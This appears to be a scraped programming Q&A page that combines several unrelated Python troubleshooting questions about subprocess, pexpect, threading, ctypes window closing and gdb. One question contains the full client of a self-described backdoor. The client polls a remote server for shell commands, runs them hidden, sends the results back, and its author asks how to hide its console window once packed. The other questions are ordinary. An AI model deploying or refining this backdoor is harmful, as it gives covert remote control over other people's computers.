subprocess sometimes sends returns empty - windows

I have the following class that is used to run a third party command line tool which I have no control over.
I run this ina Qthread in a PyQt Gui.
I turn the gui into an EXE using Pyinstaller
Problems are more prevalent when it is an EXE
class CLI_Interface:
def process_f(self, command, bsize=4096):
self.kill_process(CLI_TOOL)
startupinfo = STARTUPINFO()
startupinfo.dwFlags |= STARTF_USESHOWWINDOW
startupinfo.wShowWindow = SW_HIDE
p = Popen(command, stdout=PIPE, stderr=PIPE,
startupinfo=startupinfo, bufsize=bsize, universal_newlines=True)
try:
out, err = p.communicate(timeout=120)
except TimeoutExpired:
p.kill()
out, err = p.communicate()
return out.split(), err.split()
def kill_process(self, proc):
# Check process is running, Kill it if it is,
# return False if not.
# uses its own popen for Stderr >> stdout
# If we use the self.process_f method, it will create an infinite loop
startupinfo = STARTUPINFO()
startupinfo.dwFlags |= STARTF_USESHOWWINDOW
startupinfo.wShowWindow = SW_HIDE
try:
kill_proc = Popen("TaskKill /IM {} /T /F".format(proc), stdout=PIPE, stderr=STDOUT,
startupinfo=startupinfo, universal_newlines=True).communicate()[0]
if 'ERROR' not in kill_proc.split():
return True # Process Killed
else:
self.kill_process(proc)
except Exception as e:
return False
def download_data(self, code):
""" download data from the device based on a 5 digit code """
command = '"{}" -l {},{} {}'.format(CLI_TOOL_PATH,
code[0], code[2], code[1])
try:
p = self.process_f(command)
proc, err = p[0], p[1]
try:
if err[-2] == '-p':
return False
return True
except IndexError:
if not proc:
return False # This means there is no data but the file is still saved!!
pass
return True
except Exception as e:
return False
def ....
def ....
def ....
Thread:
class GetDataThread(QThread):
taskFinished = pyqtSignal()
notConnected = pyqtSignal()
def __init__(self, f, parent=None):
super(GetDataThread, self).__init__(parent)
self.f = f
def run(self):
is_dongle_connected()
DD = cli.download_data(self.f)
if not DD:
self.notConnected.emit()
else:
self.taskFinished.emit()
I either get a done! or error - This is normal when running from the command line.
Sometimes I get an empty list returned and I put this back into a recursive loop after killing the program.
However, it does not seem to restart properly and the problem continues - it gets stuck in a loop of nothing!.
Meanwhile, the csv files the cli tool produces are created as normal yet I have no data from stdout / stderr
Looking at processes the conhost and the cli tool are destroyed no problem.
The gui will continue to fail (until I unplug and plug in the dongle and / or restart the program / computer.
When I open the CLI and run the same command, it works fine or throws an error (which I catch in the program no problem)
I have tried setting a buffer as some files generated can reach 2.4mb
I tried setting a higher timeout to allow for it to finish.
There does not seem to be a correlation with file size though and it can get stuck at any size.
The flow is like so:
Gui >> CLI >> Dongle >> Sensor
Running on Windows 10
How can I make the connection more solid or debug what processes might still be lingering around and stopping this?
Is it blocking?
Is it a pipe buffer overflow? - If so How do I determine the correct bufsize?
Is it something to do with PyQt and Python Subprocess or Pyinstaller?
Would it be better to use QProcess instead of Subprocess?
Thanks in advance!

Related

issue about pexpect logfile_read

use pexpect SSH connections to run cmds on remote server, the command can be executed, but the results displayed on the terminal are not as expected, code like this(At first there was no time.sleep, it was added for debugging)
import logging
import time
from pexpectUtility import Session
logger = logging.getLogger(__name__)
def test_create_and_show():
cliPrompt = 'dev-r0'
hostPrompt = 'admin#dev-r0'
aa = Session()
aa.connect("admin","password", "10.10.0.10")
time.sleep(2)
aa.child.sendline("sonic-cli")
aa.child.expect(cliPrompt, 3)
tTime = 0
time.sleep(tTime)
aa.child.sendline("configure terminal")
aa.child.expect(cliPrompt, 3)
time.sleep(tTime)
aa.child.sendline("end")
aa.child.expect(cliPrompt, 3)
time.sleep(tTime)
aa.child.sendline("exit")
aa.child.expect(hostPrompt, 3)
aa.disconnect()
the pexpectUtility.py
import sys
import logging as log
if sys.platform == 'win32':
import WExpect as pexpect
spawn_class = pexpect.spawn_windows
else:
import pexpect
spawn_class = pexpect.spawn
class MutliIO:
def __init__(self, *fds):
self.fds = fds
def write(self, data):
for fd in self.fds:
fd.write(data)
def flush(self):
for fd in self.fds:
fd.flush()
class Session(spawn_class):
def __init__(self):
self.child = None
def connect(self, username, password, serverIp, protocol='ssh'):
self.protocol = protocol
self.username = username
self.password = password
self.serverIp = serverIp
if protocol == 'ssh':
cmd = "ssh -x -o StrictHostKeyChecking=no -l %s " % self.username
else:
cmd = "telnet "
cmd = cmd + serverIp
log.info('Connecting to Dut: %s\n' %(cmd))
expect_list = ['ogin: $', '[P|p]assword:', '\[confirm\] $',
'\[confirm yes/no\]:', '\[yes/no\]:', '\(yes/no\)\?',
'\[y/n\]:', '--More--', 'ONIE:/ #',
pexpect.TIMEOUT, pexpect.EOF]
self.child = spawn_class(cmd)
logfile = open('pexpect.log', 'w')
self.child.logfile_read = MutliIO(sys.stdout)
# self.child.logfile_read = MutliIO(sys.stdout, logfile)
# self.child.logfile_read = MutliIO(logfile)
try:
re = self.child.expect(expect_list, 10)
log.debug("expect pwd: {}".format(re))
except Exception as err:
log.error('%s' %err)
raise
# login
try:
self.child.sendline(self.password)
except Exception as err:
raise RuntimeError("login failed!", err)
def disconnect(self):
self.child.sendline("exit")
self.child.expect(pexpect.EOF)
self.child.close()
if self.child.logfile_read != None:
self.child.logfile_read = None
Executed commands are repeated displayed, just like batch input. log is as follows:
admin#dev-r0:~$ sonic-cli
configure terminal
configure terminal
end
exit
dev-r0# configure terminal
dev-r0(config)# end
dev-r0# exit
admin#dev-r0:~$ exit
logout
Connection to 10.10.0.10 closed.
When I set tTime to 5 (each command interval is 5 seconds) the log is as expected,I think this is not a good solution,I also want to know the root cause
admin#dev-r0:~$ sonic-cli
dev-r0# configure terminal
dev-r0(config)# end
dev-r0# exit
admin#dev-r0:~$ exit
logout
Connection to 10.10.0.10 closed.
When I directly use expect to implement the above operation, there is no need to wait for 5 seconds between commands, and the log displayed by the terminal is normal.
why pexpect has this issue? how to solve this? Thanks in advance
This is not the whole answer, but a first point to fix. After the
sendline("sonic-cli") the first expect() is going to return
immediately, as it will match the prompt admin#dev-r0:~$ which is already
there waiting, before the sonic-cli command arrives. This means the next
command configure terminal is sent immediately after sonic-cli.
You should enhance the connect() routine to expect the admin#dev-r0:~$
prompt before returning, or use this expect instead of the sleep(2) which
should not be necessary.
Referring to the sample code of pexpect on the Internet, I found that the root cause is a code problem: missing a expect() after sendline()
The changes are as follows:
# login
try:
self.child.sendline(self.password)
HOST_PROMPT = '\$' # remote server prompt
re = self.child.expect(HOST_PROMPT)
except Exception as err:
raise RuntimeError("login failed!", err)

python program packed by Pyinstaller shows blinking window on windows

I am trying to write a back door program with python.
I design the program with client-server architecture.
Here is the code of client.
from subprocess import PIPE, Popen, CREATE_NO_WINDOW
from typing import List, Optional
from datetime import datetime
from time import sleep
from threading import Thread
from socket import socket, AF_INET, SOCK_DGRAM
from getmac import get_mac_address as gma
import json
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
SERVER_PORT = 8080
SERVER_ADDRESS = 'https://example.com:' + str(SERVER_PORT)
def get_ip() -> str:
s = socket(AF_INET, SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
s.close()
return ip
def get_mac() -> str:
return gma().replace(':', '')
def announce() -> List[str]:
requests.post(f'{SERVER_ADDRESS}/announce/{get_id()}', verify=False)
def get_id() -> str:
return get_ip() + '_' + get_mac()
def get_command() -> Optional[List[str]]:
try:
r = requests.get(f'{SERVER_ADDRESS}/command/{get_id()}', verify=False)
except requests.exceptions.ConnectionError:
print('Connection to server error.')
return None
if r.status_code == 200:
r = json.loads(r.text)
status = int(r['status'])
if status == 1:
print(f'Get a command from server.')
return r['command']
else:
return None
else:
print(f'Server returned status code {r.status_code}.')
print(f'Here is the response from server:\n{r.text}')
print()
def run_command():
while True:
command = get_command()
if command is not None:
p = Popen(command, shell=True, stdout=PIPE, stderr=PIPE, creationflags=CREATE_NO_WINDOW)
stdout, stderr = p.communicate()
data = {
'command': command,
'result': stdout.decode() + stderr.decode(),
'timestamp': datetime.now().strftime('%Y.%m.%d %H:%M:%S'),
}
requests.post(f'{SERVER_ADDRESS}/result/{get_id()}', json=data, verify=False)
sleep(5)
announce()
Thread(target=run_command).start()
The program runs well and I pack the python file to exe file with PyInstaller with the following command on windows.
pyinstaller -F -w program.py
-F for one-file
-w for window hidding
The packed program(exe file) runs well, but a windows terminal window shows with about 1Hz frequency. The behavior is strange and I need help.
The blinking window is NOT caused by subprocess because the window keep blinking even if I don't give any command to client.
I have googled the problem for a short time, but there is nothing helpful. I don't know the reason why the window keep blinking, and I think that is the point to explain why I just find nothing.

Multithreading attempt Python fail

The following code is an attempt of mine at a voice recognition program. The voice recognition works fine and can understand me, but I encountered a problem at certain points in the program the code would sort of freeze, or hang but without an error.
To get around this I attempted to add a timer using multi-threading which should begin at a = True and after 3 seconds the program would automatically close. If the recognising worked perfectly the a = False should stop the timer before it closed the program. This obviously hasn't worked or I wouldn't be here.
I added a few print statements here and there so I could visually see where the code was when running, and I saw the the code for the timer begins however the code for voice recognition does not.
import speech_recognition as sr
r = sr.Recognizer()
import os, threading, time, sys
import subprocess as sp
print("Voice Recognition Software\n\n***********************************\n")
class myThread (threading.Thread):
def run():
print("Checking")
while True:
if a == True:
if a == False:
continue
for x in range(3):
time.sleep(1)
if a == False:
break
sys.exit()
def program():
while True:
print("voice recog has begun")
r.energy_threshold = 8000
t = None
with sr.Microphone() as source:
print (">")
a = True
audio = r.listen(source)
a = False
try:
a = True
print("Processing...")
t = r.recognize_google(audio)
a = False
print (": " + t)
except sr.UnknownValueError:
print("Unknown input")
continue
except sr.RequestError as e:
print("An error occured at GAPI\nA common cause is lack of internet connection")
continue
if "open" in t:
t = t.replace("open","")
t = t.replace(" ","")
t = t + ".exe"
print (t)
for a,d,f in os.walk("C:\\"):
for files in f:
if files == t.lower() or files == t.capitalize() or files == t.upper():
pat = os.path.join(a,files)
print (pat)
sp.call([pat])
success = True
if success == True:
continue
a = False
success = False
thread1 = myThread.run()
thread2 = myThread.program()
thread1.start()
thread2.start()
EDIT:
I see some mistakes of my own here like indentation of the def function but even after fixing what I see it doesn't work as intended.

Terminate application from using Ironpython and ctypes

I am executing Ironpython scripts from a Windows application that has an embedded Ironpython shell. I can launch the application, load a script and start their execution from a (.bat) file. I would like to close the application once the test scripts finish. However, the application vendor has not provided the functionality to close the application programmatically.
My first thought was to use a PIPE to monitor a specific string which will terminate the subprocess. My test script opens up a form which gets populated with data needed for testing. There are other complications which I am not sure how to handle in printing to the PIPE. Any printing goes directly to the application's shell window.
The method I am pursuing is to close the application by making the application's window active. Below is my code which is based on
Python's pywin32 extension
import ctypes
import re
EnumWindows = ctypes.windll.user32.EnumWindows
EnumWindowsProc = ctypes.WINFUNCTYPE(ctypes.c_bool, ctypes.POINTER(ctypes.c_int), ctypes.POINTER(ctypes.c_int))
GetWindowText = ctypes.windll.user32.GetWindowTextW
GetWindowTextLength = ctypes.windll.user32.GetWindowTextLengthW
IsWindowVisible = ctypes.windll.user32.IsWindowVisible
class my_test():
def __init__ (self):
"""Constructor"""
self._handle = None
self.wildcard = "Program name"
self.titles = []
def foreach_window(self, hwnd, lParam):
'''Pass to EnumWindows() to check all the opened windows'''
if IsWindowVisible(hwnd):
length = GetWindowTextLength(hwnd)
#print 'length', length
buff = ctypes.create_unicode_buffer(1024)
#buff = ctypes.create_unicode_buffer(length + 1)
#print 'buff', buff
GetWindowText(hwnd, buff, length + 1)
self.titles.append(buff.value)
if re.match(self.wildcard, str(buff.value)) != None:
self._handle = hwnd
print 'self._handle', self._handle
print 'str(buff.value)', str(buff.value)
return True
def find_window(self):
EnumWindows(EnumWindowsProc(self.foreach_window), 0)
def set_foreground(self):
"""put the window in the foreground"""
ctypes.windll.user32.SetActiveWindow(self._handle)
ctypes.windll.user32.SetForegroundWindow(self._handle)
ctypes.windll.user32.PostMessage(self._handle, win32con.WM_CLOSE, 0, 0)
def main():
w = my_test()
w.find_window()
w.set_foreground()
I found another discussion on closing application (I think using pywin32 extensions) 2. The author refers to win32process and win32gui. Do these modules have a ctypes equivalent?
I added the following lines to the code.
SendMessage = ctypes.windll.user32.SendMessageW
WM_SYSCOMMAND = ctypes.c_int(0x0112)
SC_CLOSE = ctypes.c_int(0xF060)
Replaced line
ctypes.windll.user32.PostMessage(self._handle, win32con.WM_CLOSE, 0, 0)
with
SendMessage(my_window, WM_SYSCOMMAND, SC_CLOSE, 0)
This works as long as I execute this script in a separate IronPython shell.
taskkill did the trick, see
https://stackoverflow.com/a/6984331/2556944

Show gdb tui source code in another terminal

Is it possible to configure the gdb tui interface to show the source code in another terminal window (that I can put in another screen) or to simulate this behaviour using something like tmux?
I don't know of any way to do this with gdb-tui specifically.
A hack that works with normal gdb, or tui is to abuse the python prompt_hook
function, overriding it to produce some effect based don the current file/line
and return the normal prompt.
Below is an example which uses vim's +clientserver functionality to launch vim in a terminal, and follow along as the program counter changes.
import os
import subprocess
servername = "GDB.VI." + str(os.getpid());
terminal = "gnome-terminal"
terminal_arg ="-e"
editor = "vimx"
term_editor = "%s --servername %s" % (editor, servername)
subprocess.call([terminal, terminal_arg, term_editor])
def linespec_helper(linespec, fn):
try:
x = gdb.decode_line(linespec)[1][0]
if x != None and x.is_valid() and x.symtab != None and x.symtab.is_valid():
return fn(x)
except:
return None
def current_file():
return linespec_helper("*$pc", lambda x: x.symtab.fullname())
def current_line():
return str(linespec_helper("*$pc", lambda x: x.line))
def vim_current_line_file():
aLine = current_line()
aFile = current_file()
if aLine != None and aFile != None:
subprocess.call([editor, "--servername", servername, "--remote", "+" + aLine, aFile])
old_prompt_hook = gdb.prompt_hook
def vim_prompt(current_prompt):
vim_current_line_file()
if old_prompt_hook != None:
old_prompt_hook(current_prompt)
else:
None
gdb.prompt_hook = vim_prompt

Resources